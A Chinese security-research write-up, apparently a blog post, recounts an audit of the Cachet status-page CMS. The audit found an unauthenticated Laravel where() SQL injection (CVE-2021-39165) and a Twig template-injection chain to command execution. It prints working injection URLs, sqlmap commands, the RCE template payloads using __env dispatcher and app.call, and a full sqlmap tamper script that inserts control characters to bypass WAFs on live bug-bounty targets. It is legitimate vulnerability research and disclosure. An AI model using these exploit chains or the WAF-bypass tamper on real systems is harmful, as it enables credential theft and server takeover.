51工具盒子事先声明：本次测试过程完全处于本地或授权环境，仅供学习与参考，不存在未授权测试过程。本文提到的漏洞《Cachet SQL注入漏洞（CVE-2021-39165）》已经修复，也请读者勿使用该漏洞进行未授权测试，否则作者不承担任何责任
0x01 故事的起源 {#0x01}
一个百无聊赖的周日晚上，我在知识星球闲逛，发现有一个匿名用户一连向我提出了两个问题：
本来不是很想回答这两个问题，一是感觉比较基础，二是现在大部分人都卷Java去了，关注PHP的其实不多。不过我搜索了一下自己的星球，发现我的确没有讲过如何调试PHP代码，那么回答一下这个问题也未尝不可。
既然如此，我就打开自己常用的PHP IDE之一PHPStorm（另一款是VSCode），看了看硬盘里落满灰尘的PHP代码，要不就是几年前的版本要不就是没法做演示的非开源项目。如果要新写一篇教程，最好还是上网上找个新的CMS做演示。
于是我打开了Github，搜索"PHP"关键字，点进了PHP这个话题。PHP话题下有几类开源项目，一是一些PHP框架和库，排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等；二是CMS和网站应用，排在前面的有matomo、nextcloud、monica、Cachet等；三是一些README和教学项目，比如awesome-php、DesignPatternsPHP等。
做演示自然选择开箱即用的第二类，于是我挑了一个功能常见且简单的Cachet。
当天晚上我自己搭建、调试、运行起了Cachet这个CMS，并写了一篇简单的教程发在星球里：
本来这个故事到此就结束了，但是不安分的我当时就在想，既然搭都搭起来了，那不如就对其做一遍审计吧。
0x02 Cachet代码审计 {#0x02-cachet}
Cachet是一款基于Laravel框架开发的状态页面（Statuspage）系统。Statuspage是云平台流行后慢慢兴起的一类系统，作用是向外界展示当前自己各个服务是否在正常运行。国外很多大型互联网平台都有Statuspage，最著名的有 Github、Twitter、Facebook、Amazon AWS等。
Statuspage中占据领导地位的是Statuspage.io，隶属于Atlassian。但毕竟这是一个付费的系统，Cachet得益于自己开源的优势，也有不少拥趸，在Github上有12k多关注。
Cachet最新的稳定版本是2.3.18，基于Laravel 5.2开发，我将其拉下来安装好后开始审计。
经过验证，dev版本的代码可能有所差异（主要是后台getshell部分的POC利用链不一样），本文仅基于稳定版做审计。
Laravel框架的CMS审计，我主要关注下面几个点：
- 网站路由
- 控制器（app/Http/Controllers）
- 中间件（app/Http/Middleware）
- Model（app/Models）
- 网站配置（config）
- 第三方扩展（composer.json）
先从路由开始看起，以app/Http/Routes/StatusPageRoutes.php为例：
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
其中可以看出的信息是：
- 某个path所对应的Controller和方法
- 整个模块使用的中间件
前者比较好理解，中间件的作用通常是做权限的校验、全局信息的提取等。这个route组合用了三个中间件web、ready和localize。我们可以在app/Http/Kernel.php找到这三个名字对应的中间件类，他们的作用是：
- web是多个中间件的组合，作用主要是设置Cookie和session、校验csrf token等
- ready用于检查当前CMS是否有初始化，如果没有，则跳到初始化的页面
- localize主要用于根据请求中的Accept-Language来展示不同语言的页面
接着我会主要关注那些不校验权限的Controller（就是没有admin和auth中间件的Controller）。我关注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法：
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
其中有两个关键点：
$components->search(Binput::except(['sort', 'order', 'per_page']));$components->sort($sortBy, $direction);
sort和search方法都不是Laravel自带的Model方法，这种情况一般是自定义的scope。scope是定义在Model中可以被重用的方法，他们都以scope开头。我们可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法：
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
$column经过了in_array的校验，$direction传入的是bool类型，这两者均无法传入恶意参数。
我们再看看scopeSearch方法，在app/Models/Traits/SearchableTrait.php中：
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
Cachet在调用search时传入的是Binput::except(['sort', 'order', 'per_page'])，这个返回值是将用户完整的GPC输入除掉sort、order、per_page三个key组成的数组。也就是说，传入scopeSearch的这个$search数组的键、值都是用户可控的。
不过，可见这里使用了array_intersect函数对$search数组进行判断，如果返回为false，则不会继续往下执行。
大概看了一圈Cachet的代码，没有太多功能点。总结起来它的特点是：
- 有一部分代码逻辑在Controller中，但其还有大量逻辑放在CommandHandler中。
- "Commands & Handlers"逻辑用于在Laravel中实现命令模式
- 这个设计模式分割了输入和逻辑操作（Source和Sink），让代码审计变得麻烦了许多
- 整站前台的功能很少，权限检查在中间件中，配置如下
- 前台和API中的读取操作（GET）不需要用户权限
- API中的写入操作（POST、PUT、DELETE）需要用户权限
- 后台所有操作都需要用户权限
- 一些特殊操作都会经过逻辑判断，比如上文说到的两个操作，作者相对比较有安全意识
- Cachet默认使用Laravel-Binput做用户输入，而这个库对主要是用于做安全过滤，但这个过滤操作也为后面实战中绕过WAF提供了极大帮助
相信大家审计中经常会遇到类似情况，前台功能很少导致进展不下去，那么多看看框架部分的代码也许能发现一些问题。
遇到困难不要慌，去冰箱里拿了一瓶元气森林冷静冷静，重新回来看代码。回看前面的scopeSearch方法，我突然发现了问题：
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
array_intersect这个函数，他的功能是计算两个输入数组的交集 ，乍一看这里处理好像经过了校验，用户输入的数组的key如果不在$this->searchable中，就无法取到交集。
但是可以想象一下，我的输入中只要有一个key在$this->searchable中，那么这里的交集就可以取到至少一个值，这个if语句就不会成立。所以，这个检查形同虚设，用户输入的数组$search被完整传入where()语句中。
0x03 Laravel代码审计 {#0x03-laravel}
熟悉Laravel的同学对where()应该不陌生，简单介绍一下用法。我们可以通过传入两个参数key和value，来构造一个WHERE条件：
DB::table('dual')->where('id', 1);
// 生成的WHERE条件是：WHERE id = 1
如果传入的是三个参数，则第二个参数会认为是条件表达式中的符号，比如：
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是：WHERE id > 18
当然where也是支持传入数组的，我看可以将多个条件组合成一个数组传入where函数中，比如：
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是：WHERE id > 18 AND title LIKE '%example%'
那么，思考下面三个代码在Laravel中是否可能导致SQL注入：
where($input, '=', 1)当where的第一个参数被用户控制where('id', $input, 1)当where的第二个参数被用户控制，且存在第三个参数where($input)当where只有一个参数且被用户控制
这三个代码对应着不同情况，第一种是key被控制，第二种是符号被控制，第三种是整个条件都被控制。
测试的过程就不说了，经过测试，我获取了下面的结果：
- 当第一个参数key可控时，传入任意字符串都会报错，具体的错误为"unknown column"，但类似反引号、双引号这样的定界符将会被转义，所以无法逃逸出field字段进行注入
- 当第二个参数符号可控时，输入非符号字符不会有任何报错，也不存在注入
- 当整体可控时，相当于可以传入多个key、符号和value，但经过前两者的测试，key和符号位都是不能注入的，value就更不可能
仿佛又陷入了困境。
我尝试debug进入where()函数看了看它内部的实现，src/Illuminate/Database/Query/Builder.php：
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
当第一个参数是数组时，将会执行到addArrayOfWheres()方法。另外从上面的第二个if语句也可以看出，这里面对参数$operator做了校验，这也是其无法注入的原因。
跟进一下addArrayOfWheres()方法：
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
可以观察到，这里面有个很重要的回调，遍历了用户输入的第一个数组参数$column，当发现其键名是一个数字，且键值是一个数组时，将会调用[$query, $method]，也就是$this->where()，并将完整的$value数组作为参数列表传入。
这个过程就是为了实现上面说到的where()的第三种用法：
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
所以，通过这个方法，我可以做到了一件事情：从控制where()的第一个参数，到能够完整控制where()的所有参数。
那么，再回看where函数的参数列表：
public function where($column, $operator = null, $value = null, $boolean = 'and')
第四个$boolean参数就格外显眼了，这是控制WHERE条件连接逻辑的参数，默认是and。这个$boolean既不是SQL语句中的"键"，也不是SQL语句中的"值"，而就是SQL语句的代码，如果没有校验，一定存在SQL注入。
事实证明，这里并没有经过校验。我将debug模式打开，并注释了抑制报错的逻辑，即可在页面上看到SQL注入的报错：
1[3]参数可以注入任何语句，所以这里存在一个SQL注入漏洞。而且因为这个API接口是GET请求，所以无需用户权限，这是一个无限制的前台SQL注入。
Laravel的这个数组特性可以类比于6年前我第一次发现的ThinkPHP3系列SQL注入。当时的ThinkPHP注入是我在乌云乃至安全圈站稳脚跟的一批漏洞，它开创了使用数组进行框架ORM注入的先河，其影响和其后续类似的漏洞也一直持续到今天。遗憾的是，Laravel的这个问题是出现在where()的第一个参数，官方并不认为这是框架的问题。
0x04 SQL注入利用 {#0x04-sql}
回到Cachet。默认情况下Cachet的任何报错都不会有详情，只会返回一个500错误。且Laravel不支持堆叠注入，那么要利用这个漏洞，就有两种方式：
- 通过UNION SELECT注入直接获取数据
- 通过BOOL盲注获取数据
UNION肯定是最理想的，但是这里无法使用，原因是用户的这个输入会经过两次字段数量不同的SQL语句，会导致其中至少有一个SQL语句在UNION SELECT的时候出错而退出。
Bool盲注没有任何问题，我本地是Postgres数据库，所以以其为例。
构造一个能够显示数据的请求：
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
将and 1=1修改为and 1=2，数据消失了：
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+
说明盲注可以利用，于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload，而这个注入点需要前缀和后缀，需要对参数进行修改。
我先使用一个能够爆出数据的URL，比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+，在这个括号后面增加个星号，然后作为-u目标进行检测即可：
python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"
注入点被SQLMap识别了。因为表结构已经知道，成功获取用户、密码：
0x05 后台代码审计 {#0x05}
这个注入漏洞的优势是无需用户权限，但劣势是无法堆叠执行，原因我在星球的这篇帖子里有介绍过（虽然帖子里说的是ThinkPHP）。主要是在初始化PDO的时候设置了PDO::ATTR_EMULATE_PREPARES为false，而数据库默认的参数化查询不允许prepare多个SQL语句。
无法堆叠执行的结果就是没法执行UPDATE语句，我只能通过注入获取一些信息，想要进一步执行代码，还需要继续审计。
接下来的审计我主要是在看后台逻辑，挖掘后台漏洞建议是黑盒结合白盒，这样会更快，原因是后台可能有很多常见的敏感操作，比如文件上传、编辑等，这些操作有时候可能直接抓包一改就能测出漏洞，都不需要代码审计了。
Cachet的后台还算相对安全，没有文件操作的逻辑，唯一一个上传逻辑是"Banner Image"的修改，但并不存在漏洞。
这时候我关注到了一个功能，Incident Templates，用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言：
对于Twig模板的解析是在API请求中，用API创建或编辑Incident对象的时候会使用到Incident Templates，进而执行模板引擎。
利用时需要现在Web后台添加一个Incident Template，填写好Twig模板，记下名字。再发送下面这个数据包来执行名为"ssti"的模板，获得结果：
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是{{ 233 * 233 }}的Incident Template，渲染结果被成功返回在API的结果中：
Twig是PHP的一个著名的模板引擎，相比于其他语言的模板引擎，它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制，而沙盒模式下只能使用白名单内的tag和filter。
Cachet中没有使用沙盒模式，所以我不做深入研究。普通模式想要执行恶意代码，需要借助一些内置的tag、filter，或者上下文中的危险对象。在Twig v1.41、v2.10和v3后，增加了map和filter这两个filter，可以直接用来执行任意函数：
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
但是Cachet v2.3.18中使用的是v1.40.1，刚好不存在这两个filter。那么旧版本如何来利用呢？
PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template Injection》，里面介绍过当时的Twig模板注入方法：
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
_self是Twig中的一个默认的上下文对象，指代的是当前Template，其中的env属性是一个Twig_Environment对象。Twig_Environment类的registerUndefinedFilterCallback和getFilter就用来注册和执行回调函数，通过这两次调用，即可构造一个任意命令执行的利用链。
但是，这个执行命令的方法在Twig v1.20.0中被官方修复了：https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430，修复方法是发现object是当前对象时，则不进行属性的获取，下面这个if语句根本不会进去：
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
这个修改逻辑是科学的，因为Twig中正常只允许访问一个对象的public属性和方法，但因为_self指向的是$this，而$this可以访问父类的protected属性，所以才绕过了对作用域的限制，访问到了env。这个修复对此作了加强，让_self的表现和其他对象相同了。
另外，_self.getEnvironment()原本也可以访问env，这个修复也一起被干掉了。
Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架，按照composer.lock中的版本号来肯定高于v1.20.0（实际是v1.40.1），也就是说，我也无法使用这个Payload做命令执行。
0x06 寻找Twig利用链与代码执行 {#0x06-twig}
Cachet中使用了下面这段代码来渲染Twig模板：
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
其中$vars是用户从POST中传入的一个数组，这意味着注入到模板中的变量只是简单的字符串数组，没有任何对象。再加上前文说到的_self对象也被限制了，我发现很难找到可以被利用的方法。
此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁，让Laravel框架可以直接使用twig模板引擎。
根据Laravel的依赖注入、控制反转的设计模式，如果要实现"桥梁"的功能，那么就需要编写一个Service Provider，在Service Provider中对目标对象进行初始化，并放在容器中。
我在rcrowe/twigbridge的ServiceProvider中下了断点，捋了捋Twig初始化的过程，发现一个有趣的点：
baseTemplateClass不是默认的\Twig\Template，而是一个自定义的TwigBridge\Twig\Template。baseTemplateClass就是在模板中，_self指向的那个对象的基类，是一个很重要的类。
在src/Twig/Template.php中，我发现$context中有一个看起来很特殊的对象__env：
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
在此处下断点可以看到，这个__env是一个\Illuminate\View\Factory对象，原来是Twig共享了Laravel原生View模板引擎中的全局变量。
那么，我们可以找找\Illuminate\View\Factory类中是否有危险属性和函数。\Illuminate\Events\Dispatcher是Factory类的属性，其中存在一对事件监听函数：
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
它的限制主要是，回调函数必须是一个可以被自动创建与初始化的类方法，比如静态方法。我很快我找到了一对合适的回调\Symfony\Component\VarDumper\VarDumper，我们可以先调用setHandler将$handler设置成任意函数，再调用dump来执行：
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
构造出的模板代码如下，成功执行任意命令：
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}
除了__env外，上下文中还被注入了一个app变量，这是一个\Illuminate\Foundation\Application对象，它的利用链就更简单了，因为其中有一个函数可以直接用来执行任意代码：
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
所以，我构造了一个模板代码来执行任意PHP函数，这个方法相对简单很多：
{{ app.call('md5', ['123456']) }}
至此，我又搞定了后台代码执行。两个漏洞组合起来，就可以成功拿下Cachet系统权限。
0x07 走向Bug Bounty {#0x07-bug-bounty}
前面说过，国外大量大厂都会使用Statuspage，所以我跑了一下hackerone、bugcrowd中使用了Cachet系统的厂商：
不多，大部分厂商还是在用Statuspage.io。
在实战中，我遇到了一个比较棘手的问题，大量厂商使用了WAF，这让GET型的注入变得很麻烦。解决这个问题的方法还是回归到代码审计中，Cachet获取用户输入是使用graham-campbell/binput，我在前面审计的时候发现其在获取输入的基础上会做一次过滤：
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
跟进clean()我发现这个库最终对用户的输入做了一次处理：
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
removeInvisibleCharacters()方法将输入中的所有控制字符给替换成空了。那么，这个特性可以用于绕过WAF。
正常的注入语句会被WAF拦截：
在关键字OR中间插入一个控制字符%01，即可绕过WAF正常注入了：
我写了一个简单的SQLMap Tamper来帮我进行这个处理：
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
使用这个tamper：
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
简单提交了几个有Bug Bounty的厂商，均已得到了确认：
漏洞时间线 {#_1}
本文涉及的漏洞已经提交给Cachet官方，但是官方开发者不是很活跃，一直没有回应。在issue中找到了一个fork的厂商，相对比较活跃，也可以联系到维护人，于是以fork厂商的身份对漏洞进行了通报。
以下是漏洞的生命时间线：
